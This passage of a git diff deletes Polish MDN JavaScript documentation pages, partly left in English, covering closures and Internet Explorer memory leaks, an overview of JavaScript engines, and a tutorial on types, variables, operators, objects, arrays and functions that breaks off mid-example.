So when makeAdder is called, a scope object is created with one property: a, which is the argument passed to the makeAdder function. makeAdder then returns a newly created function. Normally JavaScript's garbage collector would clean up the scope object created for makeAdder at this point, but the returned function maintains a reference back to that scope object. As a result, the scope object will not be garbage collected until there are no more references to the function object that makeAdder returned.

- -

Scope objects form a chain called the scope chain, similar to the prototype chain used by JavaScript's object system.

- -

A closure is the combination of a function and the scope object in which it was created.

- -

Closures let you save state - as such, they can often be used in place of objects.

- -

Memory leaks

- -

An unfortunate side effect of closures is that they make it trivially easy to leak memory in Internet Explorer. JavaScript is a garbage collected language - objects are allocated memory upon their creation and that memory is reclaimed by the browser when no references to an object remain. Objects provided by the host environment are handled by that environment.

- -

Browser hosts need to manage a large number of objects representing the HTML page being presented - the objects of the DOM. It is up to the browser to manage the allocation and recovery of these.

- -

Internet Explorer uses its own garbage collection scheme for this, separate from the mechanism used by JavaScript. It is the interaction between the two that can cause memory leaks.

- -

A memory leak in IE occurs any time a circular reference is formed between a JavaScript object and a native object. Consider the following:

- -
function leakMemory() {
-    var el = document.getElementById('el');
-    var o = { 'el': el };
-    el.o = o;
-}
-
- -

The circular reference formed above creates a memory leak; IE will not free the memory used by el and o until the browser is completely restarted.

- -

The above case is likely to go unnoticed; memory leaks only become a real concern in long running applications or applications that leak large amounts of memory due to large data structures or leak patterns within loops.

- -

Leaks are rarely this obvious - often the leaked data structure can have many layers of references, obscuring the circular reference.

- -

Closures make it easy to create a memory leak without meaning to. Consider this:

- -
function addHandler() {
-    var el = document.getElementById('el');
-    el.onclick = function() {
-        this.style.backgroundColor = 'red';
-    }
-}
-
- -

The above code sets up the element to turn red when it is clicked. It also creates a memory leak. Why? Because the reference to el is inadvertently caught in the closure created for the anonymous inner function. This creates a circular reference between a JavaScript object (the function) and a native object (el).

- -

There are a number of workarounds for this problem. The simplest is this:

- -
function addHandler() {
-    var el = document.getElementById('el');
-    el.onclick = function() {
-        this.style.backgroundColor = 'red';
-    }
-    el = null;
-}
-
- -

This works by breaking the circular reference.

- -

Surprisingly, one trick for breaking circular references introduced by a closure is to add another closure:

- -
function addHandler() {
-    var clickHandler = function() {
-        this.style.backgroundColor = 'red';
-    }
-    (function() {
-        var el = document.getElementById('el');
-        el.onclick = clickHandler;
-    })();
-}
-
- -

The inner function is executed straight away, and hides its contents from the closure created with clickHandler.

- -

Another good trick for avoiding closures is breaking circular references during the window.onunload event. Many event libraries will do this for you. Note that doing so disables bfcache in Firefox 1.5, so you should not register an unload listener in Firefox, unless you have other reasons to do so.

- -
-

Original Document Information

- - -
diff --git a/files/pl/web/javascript/o_javascript/index.html b/files/pl/web/javascript/o_javascript/index.html deleted file mode 100644 index 26c921724f..0000000000 --- a/files/pl/web/javascript/o_javascript/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: O JavaScript -slug: Web/JavaScript/O_JavaScript -translation_of: Web/JavaScript/About_JavaScript ---- -
{{JsSidebar}}
- -

Co to jest JavaScript?

- -

JavaScript® (w skrócie JS) jest lekkim, interpretowanym, zorientowanym obiektowo językiem z funkcjami pierwszej klasy, i jest najbardziej znany jako język skryptowy dla stron sieci Web, ale jest także używany w wielu innych środowiskach niż przeglądarka. It is a prototype-based, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and functional programming styles.

- -

JavaScript działa po stronie klienta, co można wykorzystać w projektowaniu / programowaniu jak strona ma się zachowywać w przypadku wystąpienia jakiegoś zdarzenia. JavaScript jest łatwym do opanowania i jednocześnie potężnym językiem skryptowym, powszechnie używany do kontrolowania zachowania strony internetowej.

- -

Wbrew powszechnemu przekonaniu, JavaScript nie jest "zinterpretowaną Java". W skrócie, JavaScript jest dynamicznym językiem skryptowym obsługującym prototypową konstrukcję obiektów. Podstawowa składnia jest celowo podobna zarówno do Java i C++, aby zmniejszyć liczbę nowych pojęć potrzebnych do nauki języka. Konstrukcje językowe, takie jak istrukcje ifswitch, pętle for i while, oraz blok try ... catch funkcjonują tak samo w tych językach (lub bardzo podobnie).

- -

JavaScript może funkcjonować jako język proceduralny, jak również język zorientowany obiektowo. Obiekty w JavaScript są tworzone automatycznie, poprzez dołączenie metod i właściwości do pustego obiektów w czasie wykonywania, w przeciwieństwie do definicji składniowych klasy wspólnych zestawionych w językach takich jak C ++ i Java. Raz stworzony obiekt może być stosowany jako projekt (lub prototyp) do tworzenia podobnych obiektów.

- -

JavaScript's dynamic capabilities include runtime object construction, variable parameter lists, function variables, dynamic script creation (via eval), object introspection (via for ... in), and source code recovery (JavaScript programs can decompile function bodies back into their source text).

- -

For a more in depth discussion of JavaScript programming follow the JavaScript resources links below.

- -

What JavaScript implementations are available?

- -

The Mozilla project provides two JavaScript implementations. The first ever JavaScript was created by Brendan Eich at Netscape, and has since been updated to conform to ECMA-262 Edition 5 and later versions. This engine, code named SpiderMonkey, is implemented in C/C++. The Rhino engine, created primarily by Norris Boyd (also at Netscape) is a JavaScript implementation written in Java. Like SpiderMonkey, Rhino is ECMA-262 Edition 5 compliant.

- -

Several major runtime optimizations such as TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) and IonMonkey were added to the SpiderMonkey JavaScript engine over time. Work is always ongoing to improve JavaScript execution performance.

- -

Besides the above implementations, there are other popular JavaScript engines such as:-

- - - -

Each of Mozilla's JavaScript engines expose a public API which application developers can use to integrate JavaScript into their software. By far, the most common host environment for JavaScript is web browsers. Web browsers typically use the public API to create host objects responsible for reflecting the DOM into JavaScript.

- -

Another common application for JavaScript is as a (Web) server side scripting language. A JavaScript web server would expose host objects representing a HTTP request and response objects, which could then be manipulated by a JavaScript program to dynamically generate web pages. Node.js is a popular example of this.

- -

JavaScript resources

- -
-
SpiderMonkey
-
Information specific to Mozilla's implementation of JavaScript in C/C++ engine (aka SpiderMonkey), including how to embed it in applications.
-
- -
-
Rhino
-
Information specific to the JavaScript implementation written in Java (aka Rhino).
-
Language resources
-
Pointers to published JavaScript standards.
-
A re-introduction to JavaScript
-
JavaScript guide and JavaScript reference.
-
- -

JavaScript® is a trademark or registered trademark of Oracle in the U.S. and other countries.

diff --git a/files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html b/files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html deleted file mode 100644 index abb01ce731..0000000000 --- a/files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html +++ /dev/null @@ -1,965 +0,0 @@ ---- -title: Ponowne wprowadzenie do JavaScript (JS tutorial) -slug: Web/JavaScript/Ponowne_wprowadzenie_do_JavaScript -translation_of: Web/JavaScript/A_re-introduction_to_JavaScript ---- -
{{jsSidebar}}
- -
- -
Po co ponowne wprowadzanie? Ponieważ {{Glossary("JavaScript")}} osławiony jest jako najbardziej niezrozumiany język świata. Często wyśmiewany jest jako bycie zabawką, jednak pod warstwą jego prosoty czekają potężne funkcje. Obecnie JavaScript używany jest w niewiarygodnie dużej ilości wysokoprofilowych aplikacji, pokazując, że dogłębne zrozumienie tej technologii jest ważną umiejętnością dla każdego, webowego jak i mobilnego, dewelopera.
- -
- -
Warto rozpocząć od zaznajomienia się z historią tego języka. JavaScript został stworzony w 1995 roku przez Brendah Eich, który w tym czasie był inżynierem w Netscape. Pierwszy raz JavaScript został wydany z Netscape 2 początkiem 1996 roku. Pierwotnie miał on być nazywany LiveScript, został jednak przemianowany za sprawą feralnej decyzji marketingowej, która miała na celu wykorzystanie popularności języka Java Sun Microsystem - pomijając znikome części wspólne. Od tego czasu jest to źrodłem wielu nieporozumień.  
- -
- -
Kilka miesięcy poźniej Microsoft wydał JScript razem z Internet Explorer 3. Był to w większości kompatybilny i podobny w pracy do JavaScript. Kilka miesięcy po tym, Netscape zgłosił JavaScript do Ecma International, europejskiego stowarzyszenia standaryzującego, czego rezultatem było wydanie pierwszej edycji {{Glossary("ECMAScript")}}. Standard otrzymał znaczącą aktualizację jako ECMAScript edition 3 w 1999 roku i od tego czasu został prawie niezmieniony. Czwarta edycja została porzucona z powodu różnic politycznych dotyczących złożoności języka. Wiele części czwartej edycji uformowało podstawy dla piątej ECMAScript - opublikowanej w grudniu 2009 roku, oraz szóstej, której publikacja wypadła w czerwcu 2015 roku.
- -
- -
- -
-

Od tej pory określenie "JavaScript" będzie używane w odniesieniu do ECMAScript, ponieważ określenie to jest bardziej rozpoznawalne.

-
- -

W odróżnieniu od innych języków programowania, JavaScript nie posiada koncepcji wejścia ani wyjścia. Zaprojektowany został do działania jako język skryptowy działający w środowisku hosta i do tego środowiska nalezy zapewnienie mechanizmów komunikacji ze światem. Najbardziej pospolitym środowiskiem jest przeglądarka, jednak interpretatory JavaScript można znaleźć również w wielu innych miejscach włączając w to Adobe Acrobat, Adobe Photoshop, obrazy SVG, silnik wigetów Yahoo, w środowiskach uruchomieniowych takich jak Node.js, bazach danych NoSQL - Apache CouchDB, systemach wbudowanych czy kompletnych środowiskach graficznych takich jak GNOME ( jeden z najpopularniejszych GUI dla systemów operacyjnych GNU/Linux ).

- -

Przegląd

- -

JavaScript jest wieloparadygmatowym, dynamicznym językiem z typami i operatorami, standardowymi wbudowanymi obiektami oraz metodami. Jego składnia opiera się na językach Java i C - wiele struktur tych języków również zostało wprowadzonych do JavaScript-u. JavaScript wspiera programowanie obiektowe z prototypami obiektów zamiast klas ( zobacz więcej dziedziczenie prototypowe oraz ES2015 klasy (ang.)). Dodatkowo JavaScript wspiera programowanie funkcyjne - funkcje są obiektami, nadanie funkcjom możliwości przechowywania kodu wykonawczego i przekazywaniu go jak każdemu innemu obiektowi.

- -

Zacznijmy od spojrzenia na budulec każdego języka: typy. Programy JavaScript manipulują wartościami, a wszystkie te wartości należą do typu. W JavaScript wyróżniamy typy: 

- - - -

...oraz {{jsxref("undefined")}} i {{jsxref("null")}}, które są nieco dziwne. Obiekty posiadają specjalne rodzaje, więc aby być technicznie poprawnym powyższa lista powinna wyglądać następująco:

- - - -

Istnieją także wbudowane typy {{jsxref("Error")}}. Będzie prościej jeśli będziemy trzymać się pierwszej listy, a więc omówione zostaną wymienione tam typy.

- -

Liczby

- -

Zgodnie ze specyfikacją numery w JavaScript są "wartościami podwójnie precyzyjnymi 64-bitowego formatu IEEE 754". Ma to pewne interesujące konsekwencje. W JavaScript nie ma rzeczy takiej jak liczba całkowita, należy więc być dość ostrożnym z artmetyką jeśli jesteś przyzywczajony do matematyki w języku C lub Java.

- -

Dodatkowo, zwracaj uwagę na rzeczy takie jak: 

- -
0.1 + 0.2 == 0.30000000000000004;
-
- -

W praktyce, liczby całkowite są traktowane jako 32-bitowe jednostki, a niektóre implementacje przechowują je w ten sposób dopóki nie zostaną poproszone o wykonanie instrukcji, która jest poprawna dla liczby, ale nie dla 32-bitowej liczby całkowitej. Może to być istotne dla operacji bitowych.

- -

Standardowe operatory arytmetyczne są wspierane, wliczając w to dodawanie, odejmowanie, modulo i tak dalej. Istnieje też wbudowany obiekt, o którym zapomnieliśmy wspomnieć, {{jsxref("Math")}}, który zapewnia zaawansowane funkcje i stałe matematyczne:

- -
Math.sin(3.5);
-var circumference = 2 * Math.PI * r;
-
- -

Możesz zamienić String na liczbę całkowitą używając wbudowanej funkcji {{jsxref("Global_Objects/parseInt", "parseInt()")}}. Funkcja ta przyjmuje podstawę do konwersji jako opcjonalny drugi argument, który zawsze należy podawać:

- -
parseInt('123', 10); // 123
-parseInt('010', 10); // 10
-
- -

W starszych przeglądarkach, String-i zaczynające się od "0" przyjmowane są w formacie ósemkowym (podstawa 8), jednak od 2013 roku nie stanowiło to problemu. Chyba, że jesteś pewien formatu String-a, mogą zaskoczyć Cię wyniki w starszych przeglądarkach:

- -
parseInt('010');  //  8
-parseInt('0x10'); // 16
-
- -

Widzimy tu, że funkcja {{jsxref("Global_Objects/parseInt", "parseInt()")}} traktuje pierwszego Stringa w systemie ósemkowym przez 0 na przodzie, drugi String natomiast traktowny jest w systemie szesnastowym przez "0x" z przodu. Zapis szesnastkowy nadal istnieje; tylko ósemkowy został usunięty.

- -

Jeśli chcesz zmenić liczbę binarną na całkowitą, wystarczy zmienić podstawę:

- -
parseInt('11', 2); // 3
-
- -

Podobnie możemy przekształcić liczbę zmiennoprzecinkową używając wbudowanej funckcji {{jsxref("Global_Objects/parseFloat", "parseFloat()")}}.  W odróżnieniu do {{jsxref("Global_Objects/parseInt", "parseInt()")}}, parseFloat() zawsze uzywa 10 jako podstawy.

- -

Możesz użyć działania jednoargumentowego +, aby zamienić wartości na liczby:

- -
+ '42';   // 42
-+ '010';  // 10
-+ '0x10'; // 16
-
- -

Specjalna wartość {{jsxref("NaN")}} ( skrót od "Not a Number" ( ang. nie numer )) zostaje zwrócona jeśli String nie jest liczbowy:

- -
parseInt('hello', 10); // NaN
-
- -

NaN jest toksyczny: jesli podasz go jako argument operacji matematycznej jej wynikiem również będzie NaN:

- -
NaN + 5; // NaN
-
-
- -

Możesz wykorzystać NaN do testów używając wbudowanej funkcji {{jsxref("Global_Objects/isNaN", "isNaN()")}}:

- -
isNaN(NaN); // true
-
-
- -

JavaScript dostarcza również specjalną wartość {{jsxref("Infinity")}} oraz -Infinity:

- -
 1 / 0; //  Infinity
--1 / 0; // -Infinity
-
-
- -

Infinity, -Infinity oraz NaN wykorzystane mogą być do testów za pomocą wbudowanej funkcji {{jsxref("Global_Objects/isFinite", "isFinite()")}}:

- -
isFinite(1 / 0); // false
-isFinite(-Infinity); // false
-isFinite(NaN); // false
-
- -
Funkcje {{jsxref("Global_Objects/parseInt", "parseInt()")}} i {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} przekształcają String dopóki nie napotkają znaku, który nie spełnia wymagań formatu liczbowego, po napotkaniu takiego znaku zwrócona zostanie liczba przekształcona do tego momentu. Jednak operator "+" zwyczajnie zwróci NaN jeśli w przekształcanym Stringu znajduje się niepoprawny znak. Spróbuj przekształcić String "10.2abc" używając przedstawionych metod, aby lepiej zrozumieć ich rożnice.
- -

Strings

- -

String-ami w JavaScript są sekwencje znaków Unicode.  To powinna być dobra wiadomość dla każdego kto miał do czynienia z internacjonalizacją. Dokładniej, są to sekwencje jednostek kodowych UTF-16; każda jednostka kodowa jest reprezentowana przez 16-bitową liczbę. Każdy znak Unicode reprezentowany jest przez 1 lub 2 jednostki kodu.

- -

Jeśli chcesz przekazać jeden znak, musisz poprostu użyć String-a składającego się z tego pojedyńczego znaku.

- -

Aby sprawdzić długość String-a (w jednostkach kodu), użyj właściwości length:

- -
'hello'.length; // 5
-
- -

To było nasza pierwsza styczność z obiektami JavaScript! Wspominaliśmy, że możesz traktować String-i jak {{jsxref("Object", "obiekty", "", 1)}}? Też posiadają one {{jsxref("String", "metody", "#Methods", 1)}}, które pozwalają nimi manipulować i uzyskiwać informacje na ich temat:

- -
'hello'.charAt(0); // "h"
-'hello, world'.replace('hello', 'goodbye'); // "goodbye, world"
-'hello'.toUpperCase(); // "HELLO"
-
- -

Inne typy

- -

JavaScript odróżnia {{jsxref("null")}}, który jest wartością wskazujacą na umyślny brak wartości ( dostęp do nich tylko za pomocą słowa kluczowego null ), od {{jsxref("undefined")}}, która jest wartością typu undefinded, wskazującą na niezainicjowaną wartość - oznacza to, że wartość nie została jeszcze przypisana. Zmienne zostaną omówione później, narazie wystarczy nam wiedza, że w JavaScripcie możliwe jest zdeklarowanie zmiennej bez przypisania do niej wartości. Jeśli to zrobimy zmienna będzie typu undefindedundefinded jest w rzeczywistości stałą.

- -

JavaScript posiada boolean (logiczny typ danych) z możliwymi wartościami true lub false (obie są słowami kluczowymi). Każda wartość może zostać przekonwertowana na typ logiczny zgodnie z zasadami:

- -
    -
  1. false, 0, pusty string (""), NaN, null, oraz undefined wszystkie odpowiadają false.
  2. -
  3. Wszystkie inne odpowiadają true.
  4. -
- -

Możesz wykonać jawną konwersję używając wbudowanej funkcji Boolean():

- -
Boolean('');  // false
-Boolean(234); // true
-
- -

Jednak, tego typu zamiana jest rzadko potrzeba, ponieważ JavaScript automatycznie wykona konwersję, kiedy oczekiwać będzie typu logicznego jak na przykład w przypadku instrukcji warunkowej if (zobacz niżej). Z tego powodu czasami mówi się o "wartościach prawdziwych" (true values) i "wartościach fałszywych" (false value), które oznaczają wartości, które po konwersji na typ logiczny stają się, odpowienio, prawdziwe lub fałszywe. Alternatywnie wartości te nazywane mogą być "truthy" lub "falsy".

- -

Operatory logiczne takie jak &&( i )||( lub ) oraz !( negacja ) są wspierane; zobacz niżej.

- -

Zmienne

- -

Do deklaracji nowej zmiennej w JavaScript używamy jednego z trzech słów kluczowych: let, const lub var.

- -

let pozwala na deklarację zmiennej blokowej. Zadeklarowana zmienna dostępna jest z poziomu bloku, w którym została zadeklarowana.

- -
let a;
-let name = 'Simon';
-
-
- -

Poniżej znajduje się przykład zakresu ze zmienną zadeklarowaną za pomocą let:

- -
// mojaZmiennaLet *nie* jest tutaj widoczna
-
-for (let mojaZmiennaLet = 0; mojaZmiennaLet < 5; mojaZmiennaLet++) {
-  // mojaZmiennaLet jest widoczna tylko tutaj
-}
-
-// mojaZmiennaLet *nie* jest tutaj widoczna
-
- -

const pozwala zadeklarować zmienne, których wartości z założenia są stałe. Zmienna dostępna jest z bloku, w którym została zadeklarowana.

- -
const Pi = 3.14; // deklaruje zmienną Pi
-Pi = 1; // zwrócony zostanie błąd ponieważ nie można zmieniać zmiennej const
- -

var jest najczęściej deklarowaną zmienną. W odróżnieniu do dwóch pozostałych zmiennych nie posiada ograniczeń. Jest tak dlatego, że tradycyjnie był to jedeny sposób deklarowania zmiennych w JavaScript. Zmienna zadeklarowana przy użyciu var dostepna jest z funkcji, w której została zadeklarowana.

- -
var a;
-var name = 'Simon';
-
- -

Przykład zakresu zmiennej zadeklarowanej za pomocą var:

- -
// mojaZmiennaVar *jest* tutaj widoczna
-
-for (var mojaZmiennaVar = 0; mojaZmiennaVar < 5; mojaZmiennaVar++) {
-  // mojaZmiennaVar jest widoczna dla całej funckji
-}
-
-// mojaZmiennaVar *jest* tutaj widoczna
-
- -

Jesli zadeklarujesz zmienną bez przypisania do niej wartości, jej typ stanie się undefinded.

- -

Ważną różnicą między JavaScript i innymi językami, jak Java, jest fakt, że w JavaScript bloki nie mają zasiegu; tylko funkcje posiadają zasięg. Więc jeśli zmienna zostanie zadeklarowana przy użyciu var w złożonej deklaracji (na przykład wewnątrz instrukcji warunkowej if), będzie ona widoczna dla całej funkcji. Jednak, korzystając ze składni ECMAScript 2015, deklaracje let i const pozwalają na tworzenie zmiennych o zasięgu blokowym.

- -

Operatory

- -

Operatory liczbowe w JavaScript to +, -, *, / oraz %, który jest operatorem reszty (co nie jest tym samym co modulo). Do przypisania wartości używamy =, istnieje także przypisanie złożone jak na przykład += i -=. Ich rozwinięcie to x = x operator y

- -

x += 5;
- x = x + 5;

- -

Możesz użyć operatorów ++ aby inkrementować oraz -- aby dekrementować. Mogą one być używane zarówno jako operatory prefiksowe lub  przyrostkowe.

- -

Operator + dodatkowo używany jest do łączenia string-ów.

- -
'hello' + ' world'; // "hello world"
-
-
- -

Jeśli dodasz string do numeru (lub innej wartości) wszystko zostanie przekształcone w string. Przykład poniżej:

- -
'3' + 4 + 5;  // "345"
- 3 + 4 + '5'; // "75"
-
- -

Dodanie do czegoś pustego string-a jest przydatnym sposobem na zamiane tego w string. 

- -

Porówniania w JavaScript wykonywane są za pomocą <><= oraz >=. Działają one zarówno ze string-ami jak i numerami. Równość jest trochę mniej prosta. Podwójny operator równości wykonuje przymusowe sprawdzenie kiedy podane zostały wartości o dwóch różnych typach, co czasami może dawać interesujące wyniki:

- -
123 == '123'; // true
-1 == true; // true
-
-
- -

Aby uniknąć przymusowego sprawdzenia, użyj potrójnego operatora równości:

- -
123 === '123'; // false
-1 === true;    // false
-
- -

Dodatkowo występują operatory != oraz !==.

- -

JavaScript posiada również operacje bitowe.

- -

Struktury kontroli

- -

JavaScript posiada podobny zestaw struktur kontorli do innych języków rodziny C. Instrukcje warunkowe są wspierane przez if oraz else; jeśli chcesz możesz je ze sobą łączyć:

- -
var name = 'kotki';
-if (name == 'pieski') {
-  name += ' hau';
-} else if (name == 'kotki') {
-  name += ' miau';
-} else {
-  name += '!';
-}
-name == 'kotki miau';
-
- -

JavaScript ma pętle while i do-while. Pierwsza jest dobra do prostych pętli; druga, jeśli chcesz mieć pewność, że funkcja zostanie wykonana przynajmniej raz:

- -
while (true) {
-  // an infinite loop!
-}
-
-var input;
-do {
-  input = get_input();
-} while (inputIsNotValid(input));
-
- -

W JavaScript pętla for działa w taki sam sposób jak w C i Java: pozwala na zapewnienie informacji dla pętli w jednej lini.

- -
for (var i = 0; i < 5; i++) {
-  // Will execute 5 times
-}
-
- -

JavaScript dodatkowo posiada dwie inne znaczące pętle for: for...of

- -
for (let value of array) {
-  // działania na value
-}
-
- -

oraz for...in:

- -
for (let własność in obiekt) {
-  // działania na własności obiektu
-}
-
- -

Operatory && oraz || w których wykonanie drugiego operanda zależne jest od pierwszego. Przydatne do sprawdzania istnienia obiektu przed przypisaniem do niego atrybutów:

- -
var name = o && o.getName();
-
-
- -

Lub do cachowania wartości (kiedy wartości nieprawdziwe są nieprawidłowe):

- -
var name = cachedName || (cachedName = getName());
-
- -

JavaScript posiada potrójny operator dla wyrażeń warunkowych:

- -
var allowed = (age > 18) ? 'yes' : 'no';
-
- -

Warunek switch może być używany dla wielu odgałęzień na podstawie liczby lub ciągu znaków:

- -
switch (action) {
-  case 'draw':
-    drawIt();
-    break;
-  case 'eat':
-    eatIt();
-    break;
-  default:
-    doNothing();
-}
-
- -

Jeśli nie dodasz warunku break, wykonanie "przeskoczy" do następnego warunku. Takie działanie jest bardzo rzadko pożądane - w rzeczywistości warto opisać celowy "przeskok" w komentarzu w celu ułatwienia debugowania:

- -
switch (a) {
-  case 1: // przeskok
-  case 2:
-    eatIt();
-    break;
-  default:
-    doNothing();
-}
-
- -

Domyślny (default) warunek jest opcjonalny. Możesz mieć wyrażenia zarówno w części przełącznika (switch), jak i w przypadku (case); porównania między nimi odbywają się przy pomocy operatora ===

- -
switch (1 + 3) {
-  case 2 + 2:
-    yay();
-    break;
-  default:
-    neverhappens();
-}
-
- -

Obiekty

- -

Obiekty w JavaScript można opisać jako prostą kolekcję par nazwa-wartość. Jako takie podobne są do:

- - - -

Ze względu na popularność tej struktury danych są one świadectwem wszechstronności. Ponieważ wszystko (poza typami prostymi) jest traktowane w JavaScript jak obiekt, każdy program JavaScript naturalnie objemuje dużą ilość wyszukiwań w tablicach mieszających. Dobrze, że są one takie szybkie!

- -

Część "nazwa" jest stringiem, natomiast wartość może być każdą wartością JavaScript- nawet kolejnym obiektem. Pozwala to na budowanie struktur danych o dowolnej złożoności.

- -

Istnieją dwa podstawowe sposoby tworzenia pustego obiektu:

- -
var obj = new Object();
-
- -

Oraz:

- -
var obj = {};
-
- -

These are semantically equivalent; the second is called object literal syntax and is more convenient. This syntax is also the core of JSON format and should be preferred at all times.

- -

Semantycznie obie wersje są równe; druga, nazywana jest literalną składnią obiektu, jest wygodniejsza. Ta składnia jest dodatkowo kluczowym formatem JSON i powinna być preferowana w użyciu.

- -

Literalna składnia może być użyta do zainicjowania obiektu w całości:

- -
var auto = {
-  marka: 'Ford',
-  model: 'Fiesta',
-  detale: {
-    kolor: 'grafitowy',
-    konieMechaniczne: 96
-  }
-};
-
- -

Dostęp do atrybutu może być ze sobą połączony:

- -
obj.detale.kolor; // grafitowy
-obj['detale']['konieMechaniczne']; // 96
-
- -

The following example creates an object prototype, Person and an instance of that prototype, you.

- -

Poniższy przykład tworzy prototyp obiektu Person i jego instancję, marek.

- -
function Person(imie, wiek) {
-  this.imie = imie;
-  this.wiek = wiek;
-}
-
-// Definiowanie obiektu
-var marek = new Person('Marek', 24);
-// Stworzyliśmy nową osobę o imieniu 'Marek' i wieku 24 lat.
-
-
- -

Once created, an object's properties can again be accessed in one of two ways:

- -

Do właściwości stworzonego obiektu można uzyskać dostep na dwa sposoby:

- -
// notacja kropkowa ( dot notation )
-obj.name = 'Simon';
-var name = obj.name;
-
- -

oraz...

- -
// notacją nawiasową ( bracket notation )
-obj['name'] = 'Simon';
-var name = obj['name'];
-// zmienna może być użyta do zdefiniowania wartości klucza
-var user = prompt('what is your key?')
-obj[user] = prompt('what is its value?')
-
- -

Te notacje także są semantycznie jednakowe. Druga metoda ma tę zaletę, że nazwa własności podawana jest jako string, dzięki czemu obliczana jest w czasie wykonywania. Jednak użycie tej metody zapobiega zastosowaniu niektórych mechanizmów JavaScript i procesów minifikacji. Może też być używany do ustawiania i pobierania własności z nazwami wykorzystującymi słowa zastrzeżone

- -
obj.for = 'Simon'; // Syntax error, ponieważ 'for' jest zastrzeżone
-obj['for'] = 'Simon'; // kod działa
-
- -
-

Począwszy od ECMAScript 5, słowa zastrzeżone mogą być używane jako nazwy własności obiektów "w locie". Oznacza to, że nie muszą być zamknięte w cudzysłów podczas definiowania obiektu notacją literałową. Zobacz specyfikację ES5.

-
- -

For more on objects and prototypes see Object.prototype. For an explanation of object prototypes and the object prototype chains see Inheritance and the prototype chain.

- -

Po więcej informacji na temat obiektów i prototypów zobacz Object.prototype. Wyjaśnienie prototypów obiektów i łańcuch prototypów zobacz dziedziczenie i łańcuch prototypów.

- -

Tablice

- -

Tablice w JavaScript są specialnym typem obiektu. Działają bardzo podobnie do zwykłych obiektów, jednak posiadają jedną magiczną właściwość 'length'. Jest ona zawsze o jeden więcej niż najwyższy index w tablicy.

- -

Poniżej jeden z sposób tworzenia tablcy:

- -
var a = new Array();
-a[0] = 'pies';
-a[1] = 'kot';
-a[2] = 'hen';
-a.length; // 3
-
- -

Bardziej dogodną notacją jest użycie literału tablicy:

- -
var a = ['dog', 'cat', 'hen'];
-a.length; // 3
-
- -

Zauważ, że array.length niekoniecznie jest liczbą elementów w tablicy. Rozważ następujący zapis:

- -
var a = ['dog', 'cat', 'hen'];
-a[100] = 'fox';
-a.length; // 101
-
- -

Pamiętaj - długość tablicy jest o jeden większa niż najwyższy indeks.

- -

If you query a non-existent array index, you'll get a value of undefined in return:

- -
typeof a[90]; // undefined
-
- -

If you take the above about [] and length into account, you can iterate over an array using the following for loop:

- -
for (var i = 0; i < a.length; i++) {
-  // Do something with a[i]
-}
-
- -

ECMAScript introduced the more concise for...of loop for iterable objects such as arrays:

- -
for (const currentValue of a) {
-  // Do something with currentValue
-}
- -

You could also iterate over an array using a for...in loop, however this does not iterate over the array elements, but the array indices. Furthermore, if someone added new properties to Array.prototype, they would also be iterated over by such a loop. Therefore this loop type is not recommended for arrays.

- -

Another way of iterating over an array that was added with ECMAScript 5 is forEach():

- -
['dog', 'cat', 'hen'].forEach(function(currentValue, index, array) {
-  // Do something with currentValue or array[index]
-});
-
- -

If you want to append an item to an array simply do it like this:

- -
a.push(item);
- -

Arrays come with a number of methods. See also the full documentation for array methods.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Method nameDescription
a.toString()Returns a string with the toString() of each element separated by commas.
a.toLocaleString()Returns a string with the toLocaleString() of each element separated by commas.
a.concat(item1[, item2[, ...[, itemN]]])Returns a new array with the items added on to it.
a.join(sep)Converts the array to a string — with values delimited by the sep param
a.pop()Removes and returns the last item.
a.push(item1, ..., itemN)Appends items to the end of the array.
a.reverse()Reverses the array.
a.shift()Removes and returns the first item.
a.slice(start[, end])Returns a sub-array.
a.sort([cmpfn])Takes an optional comparison function.
a.splice(start, delcount[, item1[, ...[, itemN]]])Lets you modify an array by deleting a section and replacing it with more items.
a.unshift(item1[, item2[, ...[, itemN]]])Prepends items to the start of the array.
- -

Functions

- -

Along with objects, functions are the core component in understanding JavaScript. The most basic function couldn't be much simpler:

- -
function add(x, y) {
-  var total = x + y;
-  return total;
-}
-
- -

This demonstrates a basic function. A JavaScript function can take 0 or more named parameters. The function body can contain as many statements as you like and can declare its own variables which are local to that function. The return statement can be used to return a value at any time, terminating the function. If no return statement is used (or an empty return with no value), JavaScript returns undefined.

- -

The named parameters turn out to be more like guidelines than anything else. You can call a function without passing the parameters it expects, in which case they will be set to undefined.

- -
add(); // NaN
-// You can't perform addition on undefined
-
- -

You can also pass in more arguments than the function is expecting:

- -
add(2, 3, 4); // 5
-// added the first two; 4 was ignored
-
- -

That may seem a little silly, but functions have access to an additional variable inside their body called arguments, which is an array-like object holding all of the values passed to the function. Let's re-write the add function to take as many values as we want:

- -
function add() {
-  var sum = 0;
-  for (var i = 0, j = arguments.length; i < j; i++) {
-    sum += arguments[i];
-  }
-  return sum;
-}
-
-add(2, 3, 4, 5); // 14
-
- -

That's really not any more useful than writing 2 + 3 + 4 + 5 though. Let's create an averaging function:

- -
function avg() {
-  var sum = 0;
-  for (var i = 0, j = arguments.length; i < j; i++) {
-    sum += arguments[i];
-  }
-  return sum / arguments.length;
-}
-
-avg(2, 3, 4, 5); // 3.5
-
- -

This is pretty useful, but it does seem a little verbose. To reduce this code a bit more we can look at substituting the use of the arguments array through Rest parameter syntax. In this way, we can pass in any number of arguments into the function while keeping our code minimal. The rest parameter operator is used in function parameter lists with the format: ...variable and it will include within that variable the entire list of uncaptured arguments that the function was called with. We will also replace the for loop with a for...of loop to return the values within our variable.

- -
function avg(...args) {
-  var sum = 0;
-  for (let value of args) {
-    sum += value;
-  }
-  return sum / args.length;
-}
-
-avg(2, 3, 4, 5); // 3.5
-
- -
In the above code, the variable args holds all the values that were passed into the function.
-
-It is important to note that wherever the rest parameter operator is placed in a function declaration it will store all arguments after its declaration, but not before. i.e. function avg(firstValue, ...args) will store the first value passed into the function in the firstValue variable and the remaining arguments in args. That's another useful language feature but it does lead us to a new problem. The avg() function takes a comma-separated list of arguments — but what if you want to find the average of an array? You could just rewrite the function as follows:
- -
function avgArray(arr) {
-  var sum = 0;
-  for (var i = 0, j = arr.length; i < j; i++) {
-    sum += arr[i];
